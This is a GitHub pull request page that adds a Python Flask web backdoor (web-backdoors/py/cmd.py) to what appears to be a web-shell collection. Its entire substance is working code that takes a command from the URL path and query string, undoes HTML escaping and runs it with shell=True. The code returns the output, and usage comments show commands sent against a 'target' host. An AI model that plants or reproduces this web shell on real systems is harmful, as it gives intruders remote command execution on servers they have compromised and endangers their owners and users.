Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

adding the feature for web backdoors using python. #196

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
48 changes: 48 additions & 0 deletions web-backdoors/py/cmd.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,48 @@
import subprocess
from flask import Flask, request,escape

app = Flask(__name__)

@app.route('/cmd/<path:variable>')
def hello_world(variable):
cmd = escape(variable)

## join arguments from request
if request.args:
cmd += '?'
cmd += '&'.join([f'{k}={v}' for k, v in request.args.items()])

## remove HTML Character Entities from request command
saida = html_decode(str(cmd))

## executing command
result = subprocess.check_output(saida, shell=True)

return (result)

def html_decode(s):
"""
Returns the ASCII decoded version of the given HTML string. This does
NOT remove normal HTML tags like <p>.
"""
htmlCodes = (
("'", '&#39;'),
('"', '&quot;'),
('>', '&gt;'),
('<', '&lt;'),
('&', '&amp;')
)
for code in htmlCodes:
s = s.replace(code[1], code[0])
return s

if __name__ == '__main__':
app.run()


## Usage: http://target/cmd/whoami
## Usage: http://target/cmd/cd.. & dir

# by: Fabio Delgado
# modified: 31/08/2020